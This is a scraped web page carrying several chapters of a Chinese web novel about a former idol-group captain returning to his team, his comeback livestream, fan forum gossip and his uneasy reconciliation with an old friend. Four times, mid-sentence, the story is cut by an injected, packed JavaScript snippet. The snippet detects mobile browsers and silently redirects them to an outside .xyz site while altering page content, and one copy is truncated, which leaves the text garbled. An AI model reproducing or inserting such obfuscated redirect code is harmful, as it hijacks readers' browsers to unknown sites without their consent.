就像他就算反问了一句,也随之默认了乔亦那句“重新好好当普通队友的机会”的发言——应时月能做到不要那么快和这个人“重归于好”,但也要承认这份行为中更多是在和自己较劲,而不是真的能狠下心继续当陌生人。 乔亦在他的生活中曾经占据的位置太过于重要——在少年应时月背负着巨大的压力和责任,从那个充斥着暴力、漠视、贫困和荒芜的地方来到更广阔的世界,孤身一人的日子里,乔亦一度是他与这个陌生的、有点排外的地方彼此认识和熟悉的桥梁。 纵然如今的应时月已经能好好生活下去,如果愿意抛弃一些想要坚持的事物、甚至还能做到如鱼得水,他也不得不承认,自己的生存模式始终带着乔亦曾经的影子。 况且,乔亦的消失即使再突如其来、再莫名其妙,也一定情有可原——应时月从理性上分析确实如此,即使他们如今都在因为各自的原因回避谈这件事。 “……两分钟也差不多到了,”所以应时月在口头上没有肯定,也没有否定,“继续?” “好啊,”但乔亦也得到了他想要的、也意料之中的答案,所以显得精气神更好了几分,非常有活力地站起身,“我今天一下午就能学会!” “快别贷款了。”应时月终于是笑了出声,“有点自知之明。” “我知道啦——说说都不行吗?”乔亦说,“总之我今天肯定会认真的。” 事实是这人确实认真,而且可以说是带着脑子的有效认真,但乔亦向来做事如此,因此应时月他们也早就领会了一个事实,那就是很多事并不因认真而改变。 不得不说L队这套新公演有点难。队里并不是所有人都擅长歌舞,当初换公演之前大家集中训练了一个多月,如今乔亦想一两天完成基本是不可能的事,就算是—— “我都站10号位了,这一大段观众根本看不到我,学不会就学不会吧——”乔亦叹了口气,打开双臂,做了个“就此放弃”的姿势,然后在应时月注视的目光下又重新站直身子继续,“我就开个玩笑,我也不是对舞台不负责的人啦……至少主观上不是。” “你怎么突然开始打补丁了,”应时月说,“我又不是不了解你。” “……对啊,你又不是不了解我,”乔亦放慢速度把这话重复一遍,避过应时月的目光,转身伸手去拿手机,“五点了,官博应该要发一条我的暂休中止的微博,我得转发一下。” 好生硬的转移话题。应时月心想,手上却不受控制地也去摸手机,熟练地登录小号,然后刷到首页那条刚发出来的微博。 [@Link: 【成员变动公告】 大家好,这里是Link。 2019年11月30日,Link一期生、L队时任队长乔亦因故宣布暂休,卸任L队队长一职,暂停所有团内活动及个人微博、fanclub账号使用权,保留Link成员身份。 2023年9月20日,乔亦正式向Link提交归队申请,并获得通过。如今,乔亦已回归Link,并重新以正式成员身份加入L队。2023年9月25日晚21时,乔亦将在Linkfanclub开启回归后的第一次公开直播,有需要的粉丝朋友们可以于fanclub乔亦个人主页提前预约观看。 感谢大家对Link的支持。 @Link-乔亦] 消息才发出来几分钟,转发和评论就已经破了四位数。 [@Link-乔亦应援会:久等啦!] [@Link-TeamL应援会:欢迎回家乔队] [@少年小乔记事簿:好久不见小亦希望接下来几年链团能好好对待你们曾经的功臣成员] [@11forever:虽然已经传了一天了但是还是很震惊,我死去的cp居然复活了] 当然,除了复活的唯粉cp粉队粉以外,也有不少凑热闹的路人或者别家粉。 [不懂就问这是你团发的第一个暂休回归公告吧,之前的人是不配只有古早的总选第二才配吗] [不是古早的总选第二,是初代美帝的一方,不然你以为乔帝为什么叫乔帝)] [这什么通知,看到第一行不知道的还以为是我电竞主队发的] [你L的MC这回真的要有救了,这何尝不是L队粉念叨了两年的天降MC之光] [你L的大歌更没救了,走了个十年舞龄的前队长,来了个四肢不协调的前前队长] “你今晚要直播?”应时月随便翻了翻,抬头问。 “对,回归直播,”乔亦点点头,“何姐那边要求的,毕竟需要热度——他们还说准备看效果买个热搜,刚回来就被派了这么个任务,我可真是压力巨大啊。” “我看你倒是挺兴奋的,”应时月没好气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532568|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑了声,“简直把‘快点让我上热搜’写在脸上了。” “——那可是热搜啊,我以前还在的时候,我们想上热搜可不容易,”乔亦扭过头,眼神很明亮,“想我当初四年就上了三……” 话说到这里的时候骤然停住。 应时月叹气:“和我一起上热搜是什么不能说的事吗?” 他们也并非完全没有热度,但毕竟是半个娱乐圈人,都知道自然热搜这种事几乎不存在,所有的明星热搜词条多多少少都靠买,只是买多买少的问题。 链团以前并不太重视这方面宣传,所以买得很少——这两年逐渐多了起来,只是乔亦没赶上时候。 而他口中的三次热搜,应时月记得很清楚。 第一次是17年的一次回馈cp粉的直播,一个低位热搜;第二次是他们18年底的双人舞台,上过短暂几分钟的热一;第三次是他们19年二选拿第一第二,后来买热搜都是前三名分别买,但当年上的却是#时亦总选前二#,在热一挂了好几个小时。 四年前,在链团粉这个群体之外,“应时月”和“乔亦”几乎是绑定的名字——说绑定还不足够,或许有人甚至不知道这两个名字,但是知道“时亦”这个cp名。他们的单推时不时会冲官博,说Link这种强行绑定是在抹消他们各自的个人努力,比如说应时月好端端的总选第一莫名就变成了“前二”。 乔亦当初还说去找何姐,让他们给应时月单独买个词条,但被应时月拦了下来。 ——在曾经的他心中,在荣光这件事上,本来就可以不分彼此。 “可以说吗?”乔亦眨了眨眼,抬头看他,“我以为你现在会比较介意。” “我介意也没用啊。”应时月说,“公司这两年买热搜逐渐多起来了,你以后搞不好四小时就能上三个——哦,你应该也经常看到。” “我没有经常看……”乔亦回答,然后突然笑了笑,继续说,“不过四小时三个听着有点吓人,总感觉得恋爱塌房那个程度的才能有如此热度。” “不至于,上个恋爱塌房的四小时起码上了十个。”应时月又说。 ——链团六次总选,一选第一是贺景然,二选第一是应时月,三选和五选第一是陆语心,六选第一是唐言。 而中间那次的四选第一,是一名三期生,曾经一度被认为是新人之光,排名冲很快,结果在四选第二天就被曝光恋爱。队外恋爱,私联,已婚女粉丝,几个关键词一出来,就直接引燃热度——连带着链团的风评都因此坏了一阵。 链团队内其实没有明文规定的恋爱禁止条例。但经验而论,除了部分队内恋爱会被粉丝容忍,大部分的恋爱都是死路一条——舆论声讨之下,那位很快就退了团。 于是唐言成了新的新人之光。 这事当初闹得沸沸扬扬人尽皆知,甚至好几个学校里不太熟的同学来找应时月打听消息。 但乔亦的神色表示,他好像并不知道这回事。 13. 直播2.0! 应时月突然有一瞬间的困惑。 乔亦这几年真的没有关心过链团的事情吗?他心想。 连如此大事都不知道,大概是真的没有。应时月下了判断——想到这里,他又总觉得心中有种说不出的别扭和失望感。 只是乔亦似乎并没有意识到这一点、或者说至少没有表现出来他意识到了这一点。 “那看起来现在的热搜还挺廉价,”乔亦对此做出点评,“估计以后还有的是机会上。” “你先别第一天就想着制造点大新闻啊,”应时月无语,“……算了,我说了你也不会听。” “我还是会听的啦,”乔亦说,“发言收敛一点,今晚正常直播,这不就是你想说的——所以介意我提到你吗?” “你看,你说会听其实就是说着玩的——也不用非得来问我一句。我如果说介意,你就能不提吗?” “我可以啊,当然可以,你让我怎样说我就怎样说,”乔亦说,表情很认真,少见的没有笑,“但是我无法保证观众会说什么、会想什么……以及这些想法对你会有什么影响。” 确实如此。应时月也知道。 他们在人前的绑定关系就是永远解不开的。 论坛有缺德的粉丝会说这就是当年吃cp红利的代价,没有这对cp他们绝对不会成为总选前二,所以需要付出的代价就是永远缠缠绵绵,正向提及是爱负向提及是因爱生恨,不说就是还在意才刻意回避。 无论未来如何,他们在刚出道的那几年里的故事都无法被抹消——观众眼前的应时月和乔亦就像是两棵根系长在一起的树,就算到最后地面上的部分会各自生长,他们身上属于对方的印记也不会消失,因为那些是构成他们偶像生涯起点的、不可或缺的一部分。 应时月对此不否认,但他不认为这样的结果称得上“代价”这个描述。 以前不觉得,现在也不觉得……即使这份绑定偶尔会给他带来困扰,特别是在两人关系很微妙的当今,但大概,也好过真的变成两个独立的个体。 应时月和乔亦是独立的个体——但偶像应时月和偶像乔亦可以不是,也最好不是。 “你随便说吧。”于是应时月又一次叹气,“以后都随便——分寸你自己控制就行。” “好,”乔亦又笑,“你如果不放心的话,可以开个小号来听我说什么。” “这有什么好听的。”应时月说。 - 然而,事实是,虽然应时月当面非常干脆地拒绝了“开小号去听乔亦直播”的建议,真的到九点,他还是很按时地上了fanclub,切了小号点进了直播间。 还好他们团的粉丝app没有微博那么高级,应时月心想。不然现在给标记一句“你关注的成员应时月上线了”,那谁都能知道他会去做什么。 ——就算他没有去看乔亦直播,只要知道这个点在线,那他在互联网解读中,也只会变成掐点上线看乔亦直播。 况且应时月确实看了。 乔亦来得很准时,不早不晚。应时月看着墙上的时钟,指针转到8点59分50秒的时候,直播间亮起。接着视角从天花板向下转,露出了他白天才见过的那张脸。 但观众们上一次近距离见乔亦,已经是四年之前了。 乔亦那张娃娃脸确实显年轻,把如今的他扔进高中生教室也丝毫不显违和;乔亦的性格也很活跃,完全没有成年人的沉稳气。但应时月总能隐隐约约从这几天的交际中感受到时间的痕迹——大概是一种气质上的改变。 而观众也同样如此。有弹幕说小乔你变了好多啊,乔亦偏了偏头,反问我哪里变了,大家又纷纷表示看不出来,其实什么都没变。 应时月也不知道,只是有很微妙的一种直觉。 这场直播的热度上升很快。应时月前几天的总选后直播,是最近几个月链团热度峰值最高的一场单一成员直播,而只不过短短三分钟,乔亦的直播间热度就已经超过了那个数。 当然,这倒不是他制造热度的本事发挥了作用,事实上前几分钟他一直在很普通地和弹幕聊天——指从一些问来问去的弹幕中专门挑不重点的那些。 至于重点的。 [消失几年在做什么] [为什么说走就走说回就回啊?] [见到十月了吗] [说一下时亦呢] [十月说你们已经散了be了没救了是真的吗] [前面不要歪曲十月发言] [你当年走的时候想过L队吗] [你对得起L队对得起应时月吗] 无非就是问为什么要走的,连带攻击他不负责说走就走的,问为什么要回来的,顺带指责他把Link当自己家来去自由,问时亦现在怎样的,说乔亦对不起应时月的,诸如此类。 “我确实对不起他,”乔亦说,“是我没能力、也没有觉悟去处理好很多事,做得不好的我当然会向他道歉——给应时月本人,而不是给有些弹幕。” “十月说你们已经散了be了没救了,”他继续读弹幕,“哦。” [哦?] [“哦”是什么意思啊???] [你在说什么] “消失几年在做什么?”乔亦读完居然就真不管了,反而是换了条弹幕回应,“遇到了一些很重大的变化,经历了一些主观或被迫的停顿和想法的改变——往后现在不太适合说,如果以后有机会,大概会和大家聊一下。” “我知道当初很多人因为我突然消失而感到痛苦、或者是心情受到影响。没有和大家好好暂别是我的问题,就像刚才所说,我没有能力去处理好很多事。但我也知道,没有将‘离开’这件事好好处理确实是我作为偶像的失职——所以我接受大家不能立刻原谅我的错误,接受大家因此继续不喜欢我,也非常衷心感谢到现在时隔四年还喜欢我的人,接下来的乔亦一定不会让你们失望的。” 乔亦说着说着突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532569|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就认真了起来。 应时月都很少见他这样,不插科打诨也不讲笑话,很平稳地陈述一些事。 * 乔亦的直播结束于晚上十一点。 应时月开着弹幕听完了全程。 弹幕里乔亦的粉丝有,但比例并不高——毕竟过了这么久,当初的那些粉丝里,有继续爱他的,也有因爱生恨的,后者曾经是最熟悉他的一群人,在弹幕里带着攻击性的提问也最能直中要害。 乔亦也不算回避,只是不太细说这几年在做什么。中间有一阵刷应时月的消息太多,乔亦还张口来了句:“那要不现在和应时月连个麦给大家一起说吧,十月你在听吗?” 让屏幕前的应时月吓了一大跳,生怕下一秒fanclubapp顶端就冒出来一个[Link-乔亦邀请你参与直播连麦]的消息。结果过了十几秒才反应过来自己还开的小号,干脆用小号给乔亦投了个收费的礼物,留言“别了吧”。 这小号的id他只给乔亦一个人说过。 他也没觉得乔亦能记住这个号。这账号是一串纯乱码,十几位,他只在六年前给乔亦展示过一次id,发收费弹幕也只是随手的事。 但那条收到礼物消息闪过的时候,应时月很明显看到乔亦笑了一下——不知道是否因此,当然,应时月也不会去问。 乔亦知道应时月会看自己的直播,应时月也知道乔亦知道这一点——这种行为模式上互相的推测是两人之间心照不宣的事,自然不会有人去当面戳破。 应时月本来是这么想的。 结果等他看完直播,刷了会论坛,刚进浴室准备开始洗漱,就听到了未曾预期的敲门声。 他们宿舍楼安保很好,甚至有些过严格,完全禁止外人进入,连成员带队外朋友来都不行。应时月将刚脱下挂墙上的外套又穿了回去,然后走去开门——开门开得很放心,也很自然。 站在门口的是穿着睡衣、抱着一个布袋子的乔亦。 “我宿舍停水,”乔亦眨眨眼,语气有点无奈,“能不能借你的浴室用一下?” 应时月有些意料之外,因而大脑里开始漫无边际思考一些别的事。 比如唐言和陆语心认识就是因为宿舍漏水,唐言被叫做乔亦2.0,言心是时亦之后的链团新美帝——结果到他们1.0正主这,怎么重逢的时候也扯上了水。 虽说漏水和没水是两回事,但应时月还是觉得有点好笑——于是突然就笑了出来。 “怎么了?”乔亦这回总算是没跟上他脑回路,大概是因为缺席了言心的全过程知识,“虽然你笑了,但是没水真不是我弄坏的。” “……没,我就是联想到了一些趣事,”这种事应时月也不好拒绝,所以刚准备拉开门让乔亦进来。而就在下一刻,他突然大脑过电般想起一些事,然后硬生生将拉到一半的门又推了回去,“——不行,你现在不能进来,我这里比较乱,需要收一下,你就不能找其他人问问吗?” 14. 可怜与愧疚 乔亦听到这话,好像有些有些失望:“……但我回来这一天只见到了你啊,我现在还能找谁啊。” 语气中居然有些莫名其妙的委屈感。 大概是错觉,应时月心想。 “想进来也行,”于是他说,“但是你得等我收一下,过十分钟?” “你这么偶尔一句话显得好无情啊,”乔亦蹲在地上,抬头看他,见应时月表情不解,又说,“……我知道啦,被你无情对待是我应得的,我也就说说。” “我又怎么无情了——”应时月说,然后没等乔亦回答,就抢先作势要关门,“那过会吧,过会见。” 乔亦又眨眨眼,接着就笑了起来:“……那你要尽快收哦?” “要求不要这么多。” 下一秒,房门在乔亦眼前关闭。 乔亦没起身,干脆就蹲在门口等——一来一回也费时间。 他现在处于一个哪里都去不了的状态。前几天才刚刚回这座生活了十八年的城市,除了去公司大楼谈话和去总选现场看看外,多数时间都花费在各种安顿和手续处理上,并没有太多的余裕和旧朋友们重新连接关系。 再说,毕竟一度消失的是自己,要说在队群里水一水还问题不大,想要重新和其他人一对一私下见面,乔亦也总觉得有些心虚。 应时月算是个例外。 事实上,于他而言,应时月在很多事上都算是例外。 乔亦并非觉得应时月就不会对他有怨言,事实上,应时月也确实明明白白将这种态度表现在了他面前。 但即使不论他自己的私心,和这个人相处总归是要轻松很多、也要让人安心很多的——就像应时月就算有怨言也不会完全不和他说话,就算时冷时热也依旧会像过去那些记忆中的日子一样陪他练舞,会在停水的时候欲言又止般想拒绝但又拒绝不出来。 况且,如果不是应时月在这里,乔亦也并非一定要回Link不可。 他有其他可以选择的、或许外人看来更好的人生路径。 但总归是想重新和这个人成为朋友的——即使只是重新成为朋友。乔亦心想。 然后莫名其妙地,望着关闭的房门,突然就笑了起来。 * 直到关上门,应时月这才终于松了口气。他回过身,背靠着房门,目光转向床头边的照片墙。 说是照片墙,实际上是一个巨大的相框,里面固定着很多小照片,也有一些别的装饰,比如干花标本,比如打印的同人图。 这是当初他和乔亦一起住这间房间的时候布置的。里面的照片很杂乱,有他的、有乔亦的,有他们的合照、L队的合照、全团的合照,还有他们各自和其他人的合照。 事实是,当一个物件在自己身边存在太久、又不被使用的情况下,人是很容易忽略它的存在的——就如同这个照片墙,明明天天在眼前,实在是极为显眼,但应时月也已经很久没有仔细看过了。 即使是当初他拉黑乔亦微信那天,回宿舍后顺便把这人当年残留的一些物件,比如床上的抱枕一并收进了衣柜底层,也没想起顺便把这个就在眼前的照片墙改一下。 后来过了几天想起来了,但是“断舍离”的那股狠劲过去了,于是应时月又舍不得了。 所以它一直存在到了今天。 应时月从衣柜里找出一块帘子,将它的两端固定在巨大相框的两个角上,将相框遮住。接着又把另一边的床头柜推了过来,抵在前面,然后扫了扫床头柜原址留下的灰尘。 接着就躺在床上,等待他给乔亦说的“十分钟”。 事实上,应时月是个很爱整洁的人。洁癖是没有的,但宿舍过几天就会收,因此根本不乱。 他只是突然想起那个显眼的照片墙——然后不知道出于什么心理的,并不想让乔亦一进门就看到。 他环顾一圈屋内,确认确实已经没有乔亦曾经在这里住过的痕迹——然后叹了口气,心情很复杂。 我这又是在做什么呢?应时月问自己。 在如此的思考中,时间过去。然后应时月再一次听到了预料中的敲门声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532570|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他看了看手机时间,十分钟,刚刚好。 * 乔亦还是抱着袋子蹲在地上抬头看他——和关门前的动作如出一辙。 “……你不会一直就在这等吧。”应时月突然在想。 “是啊,”乔亦睁着眼看他,回答很快,“不然我还能去哪里啊,我现在住的是顶层,还在走廊另外一头,来回都得七八分钟。” 好像是的。 应时月心想,然后突然有些说不出的愧疚。 换成其他成员,他绝对不会这么对待队友——队友找你帮忙,结果莫名就被关在门外干等十分钟,怎么都说不过去。 但这个人是乔亦,所以应时月这么做了,完全不过理智的一个行为。 这又算什么呢?应时月又问自己。 大概是因为有恃无恐,大概是因为非常肯定如今乔亦一定不会因此和自己闹崩,大概是因为无数次重复自己确实是更占理的一方,因此做出一些不符合自己行为习惯的事情。 明明乔亦才是性子上不那么温和的那一个,但应时月却似乎天然习惯于、将自己仅有的一点点任性和情绪化投射到这个人身上——四年前会,现在也会,甚至有点过分。 他心想,但嘴上说出来的话却没什么反思:“……这个语气说得好像我在故意欺负你一样。” 我确实是。应时月在心中叹了口气。 “你确实是啊。”乔亦又用那种有点可怜的语气说,“我现在都站不起来了——拉一下我。” “你自己要蹲着的。”应时月说,倒是很顺手地伸出右手。 乔亦拉住他的手站起身,然后抱着袋子跟在应时月身后——进入这个熟悉又陌生的房间。 “感觉变了好多。”乔亦望着屋内的布置,左顾右盼,语气自然,“床头换了个方向,感觉都快认不出来以前的痕迹了。” “队里来了个小后辈,懂风水,家传绝学,能给资本家算风水赚钱的那种,”应时月说,“上回来我这逛,说这个角度不太好,让我换换——这还是两年前的事。” 15. 浴巾与旧伤口 “哦,看起来现在L队还挺……人才辈出的?”乔亦点点头,又问,“我们马上要搬新宿舍了,能让他再来看看吗——当然不是说要免费,我知道的。” “……看情况吧,”应时月说,“你怎么这么快就心安理得地开始安排了。” “对不起,”乔亦光速道歉,然后又眨眨眼,看着他说,“……但你都答应了。” “嗯?”应时月迷惑,“我还没答应呢。” “你答应和我当室友了,何姐已经告诉我了,”乔亦指正,“所以,未来室友十月哥哥——我不能参与安排我们未来的房间吗?” 应时月沉默了一秒。 “开玩笑的,”乔亦于是笑了起来,“如果你不想我参与房间规划的话,我也可以不参与。” 那倒也没有,应时月心说。 实际上,与这人曾经的大少爷身份不符的是,乔亦在生活上的需求很简单,简单到了极致。 乔亦极简,应时月节俭。因此,曾经做室友时,身边队友们的房间都拥挤而混乱,但他们两个人一起住,屋子里反而还空了一大片。 “你们这里怎么比我单人间还空,”五年前,来串门的陆语心评价说,“照片墙一挡,和酒店没什么区别。” “那是你太喜欢买没用的东西回来了。”当时的乔亦笑着说,“有的估计到你毕业都用不上。” 因此,虽然此刻的乔亦口口声声说着“房间规划”,但应时月相信,就凭他俩的水平,其实什么都规划不出来。 而事实上,他想说的是另一句话。 做室友这件事,是不是你向何姐提议的? 只不过,应时月犹豫了一会,还是没说出口。 ——或许是觉得没必要,又或许是潜意识里有不想得到的答案。 而在他陷入回忆的时间段里,乔亦已经结束了简短的观摩。 这人一边说着不浪费他的时间,一边就轻车熟路抱着袋子进了浴室。 应时月还没来得及回话,就被迫进入了无所事事的状态,于是躺在床上开始玩手机。 顺便就打开了论坛的Link组。 组里当下热议的,不出意料是乔亦刚结束的回归直播。 首页十个帖子八个带着乔亦的大名或者花名,剩下两个里,大概率还会有一个标题带着“十月”两个字,有一个标题不说,但内容却也是他们。 今夜限定论坛顶流待遇了,应时月心想,然后在首页随便点了点。 * 【主题】“我确实对不起他” 主楼:标题是乔帝今晚直播的原话,“他”指的是十月 怎么说,你们11现在真的有点延迟be美学的味道了 3L 听乔帝这么直接说对不起十月,总觉得很不真实,仿佛他被魂穿了 6L 楼上不要对他有刻板印象,01这人一直都该惹事惹事该滑轨滑轨的 况且人都是会变的 11L 什么叫be美学,现在是破镜重圆剧本进行中,嗑就算了但是我们11现在不是刚离婚是即将复婚时刻 不过我更好奇当年到底发生了什么,虽然大家都说他跑路对不起十月,但自己说出来总觉得很微妙 我也觉得很微妙。 应时月心想,感觉自己并没有什么心情再看下去,干脆放下手机,躺在床上闭目养神。 而一旦停止了思考,隔壁浴室里流水的声音便显得清晰了几分。 应时月本能般向着浴室的方向偏了偏头——自然,能看到的只有苍白而陈旧的墙面。 一个人住太久,上一次有这种强烈的“房间里有第二个人”的感觉,已经要追溯到很久以前了——久到应时月都有点陌生。 他莫名觉得内心有些烦躁。 直到不知不觉间,水流的声音停下。 一阵安静和沉默后,应时月听到的却不是乔亦走出来的脚步声,而是这人从内敲浴室门的咚咚的声音。 “怎么了?”应时月叹口气,还是穿上拖鞋下床,在浴室门外同样敲击两声,出声提问,“门打不开吗?” “没有,我忘记带浴巾过来了,”下一秒,浴室门被开了一条缝,乔亦的声音连同湿热的水汽,一并清晰地传了出来,“十月哥哥,能用一下你的吗——我明天给你重新买。” “不准喊我十月哥哥,听着好恶心,”应时月一边心想这人是不是故意的,一边还是绕回了储物柜,找了条没拆的浴巾,“我还有新的,你过会直接带走就行,不用新买一条还给我了。” “哦,那你直接递给我就好。”乔亦应了一声,语气似乎有点失望——应时月心想,可能是自己的错觉,毕竟这有什么好失望的。 他一边想,一边走过去给乔亦递浴巾。两人差不多高,他的目光便顺理成章般与乔亦对接。 乔亦也在看他,透过并没有拉得很开的门缝,水雾让他的表情影影绰绰有些看不清晰——于是应时月不由自主般低头,想着错开对视,但视线却又无意中下移到锁骨的位置。 应时月有些心虚,所以微微偏过头,不再看他。 乔亦似乎是没有察觉这片刻的心理活动,又或许是察觉了,只是不说也不表现。他道了声谢谢,便又重新关上了门。 跳公演的时候,时不时会需要快速换装——Link人多,都是年轻人,大家换演出服时就算会遮掩一下,也不可能完全避开。 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532571|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应时月知道,如果他的视线再向下三厘米,所能看到的,便是一道触目惊心的伤口。 乔亦身上有不少旧伤,大大小小各种形状样式的都有,但基本都只存在于穿短袖短裤时会被遮挡的部位,因此知道这件事的,也只有L队的一群老队员。 乔亦本人对此并不回避,也给他们解释过这些伤口的由来。 他父亲是富一代,四十多岁才第一次结婚,遇到乔亦母亲的时候已经年过半百,而他母亲只是个偏远地区来的穷学生。顶着如此巨大年龄差和阶级差的关系必不可能长久,在乔亦出生后不久,两人就分开了。 母亲没有选择从这段分离中拿到好处,反而选择了带走他。但她体弱,很多工作都做不了,为了生活,于是便改嫁给了另一个男人。 乔亦的继父抽烟、酗酒、赌博,样样都沾,输了钱或者喝了酒就会对他拳打脚踢,手边有什么趁手的工具也会顺手用上,还用母亲威胁他——但虐待都会避开明面上能被看到的部位,以防破坏外人眼中的和谐家庭的设定。 这些伤口就来自于那时候。 后来他继父早早离世,死在了酒桌上。 再过了两年,乔亦同父异母的亲生哥哥生了病,被医生宣告活不太长。他的亲生父亲担心自己的家业无人继承,又已然年老,估计等不到新的后代,于是便想到了自己在外的亲生儿子可以作为备选项。 乔亦就是那时被接回家的——之后他们所熟知的小少爷,其实也并非一出生就过的富人生活。 “但我这个人就是适应能力很强嘛,给我什么环境都能光速融入。”15岁的乔亦一边笑,一边对此做出如上评论。 说起来,他家一家人都从小就是病秧子,居然能养出这种活蹦乱跳的、除了四肢不协调什么事都没有的小孩,也算是奇迹一件。 总之,就是这样的豪门狗血故事。 但十五岁的乔亦可以对这些事一笑置之,十五岁的应时月却反而做不到。 他们还是一如既往般调侃乔亦是大少爷,毕竟这人的作风是真的很像。但应时月自那之后便不敢再去看那些伤口。 如今二十二岁的应时月还是不太敢。 况且他如今并没有想清楚应该以一种怎样的态度对待这位旧友,所以更要避开这些可能会让人……心软的东西。 想这些,不如想这人不辞而别甚至联系都不愿意联系一句的四年。 应时月心想。 “能再借一下你的吹风吗?”而在他思绪跳跃的时候,乔亦不知何时已经换好睡衣、用浴巾裹着头发从浴室走了出来,“我忘记买了。” “你怎么什么都没有。”应时月说,伸手指了指床头柜的方向,“还在第一格,自己拿吧。” 16. 穿越时间 因为是偶像,平时头发经常需要打理,所以那个吹风还有点贵,功率也很高。 而功率高的结果就是,使用的时候声音也很大,嗡嗡作响,让人完全看不进去想不进去任何事。 应时月心想。 乔亦坐在窗边的书桌前吹头发,偏长的发梢在强风的吹动下翻飞起舞。 应时月在逛论坛,平时熟悉的字好像都变得陌生起来。 直到吵闹的声音很快停了下来。乔亦向他再次道谢,准备离开,想了想又回过身说,时间晚了不打扰了我先回去了。 应时月点点头:“你快走吧——总不能还要我送你吧?” 乔亦一边低声笑,一边推门离开了这间他也曾住过好几年的熟悉的宿舍。 但等乔亦回去之后,应时月后知后觉发现,自己还是看不进任何东西。 他叹了口气,干脆躺下早早睡觉。 * 后来的几天,应时月还是天天去公司练习室。 也天天都遇见乔亦。 他还有一些遗留外务,但都不在这几天;乔亦没有排名,如今能做的只有直播、在fanclub说话和练歌练舞三件事。 于是这人晚上天天直播,白天就来练习室——每天一见面,第一句就是很有礼貌地问应时月,能不能继续教他。 “天天问累不累,”应时月终于忍不住说,“我没说不行就是可以。” 乔亦笑得很开心:“那麻烦你啦,代理队长。” 应时月就一边练那些承诺粉丝的舞,一边教乔亦新公演的内容,连着过了好几天规律的生活。 其实只要他换一个练习室,那乔亦就一定不会跟过来——但他每天还是每天来L队的公用练习室,每天与乔亦心照不宣般相逢,过了两天甚至开始一起吃午饭了。 乔亦还记得他的偏好,会在排到时告诉阿姨多加什么少加什么——应时月一般是不爱说的,他觉得没什么必要。但乔亦说了,那他也不抗拒。 他有点说不准自己是什么心态。 虽说心中想的是不能这么快这么轻易地与这个人重归于好,但应时月非常悲哀地发现,自己所能做的,好像只有在交谈中找机会刺上乔亦一句。像拒绝舞蹈教学这种事,出于L队成员的立场,他完全做不出来。 毕竟是工作的事。 但乔亦对他时不时的冷漠发言几乎完全免疫。就算应时月有天下午说了句“不练了就快滚出去别占着练习室影响我”,乔亦也一如既往般笑着对他说了句“十月再见”,然后背上包轻轻关上门离开。 而且有第二个人的时候确实方便。乔亦可以帮他录cover视频,还能顺便给他做后期。 此外,这人研究了几天公演,就开始和他谈舞台编排的建议。 应时月听他一条一条地说,然后两人一起讨论,一起将这些灵感碎片记下来——乔亦舞蹈烂,但很擅长舞台编排,当年上过热一的双人舞台,就是乔亦负责了大部分的编排。 应时月晚上回去,就将乔亦给他做过后期的cover视频发在微博和fc。 乔亦的后期没什么明显个人风格,但评论还是有人变着花样提他。 [01刚刚直播说最近几天都在练习室,你们有没有遇到过?] [Link-应时月:有时候会遇到,会说几句话] 他现在并不知道带什么节奏最好,那就留白一点,留白就有热度。 毕竟对他来说,想要一步登天化身节奏中心体质也不太现实,如此提到几句就再好不过。 * 只是他的“留白”也没维持几天。 一周过去,L队大部分成员都归队,于是大家开始重新排练公演。L队这么多人,总有人会泄露安排。 公演是旧公演,但一次总选之后,站位会变动,unit分配也会调整,即使大多数人都对这套公演很熟悉,但也要提前重排几天。 况且有人暂离,也还有新人到来——不止乔亦,还有总选前不久入团的新成员。 应时月运气比较好,去年是四号位,今年还是,大歌站位没变。所以他没怎么练,反而是在指导队里的小后辈们。 不过,虽说站位不变,但他的队内排名其实下降了一位——纪荇和五选15名,六选飞跃到了第5名。只是他这半年不在,所以应时月还得先跳半年的四号位。 他们这套公演名字叫《穿越时间》。 顾名思义,故事背景在架空未来,大歌都是基于这一背景展开的。而几首unit曲的设定则是讲述成员们穿越去不同时空的所见,所以时代背景乍一看非常混乱——如果细致了解则会知道,这些剧情都暗暗被连成了一条线。 当然这并不重要。 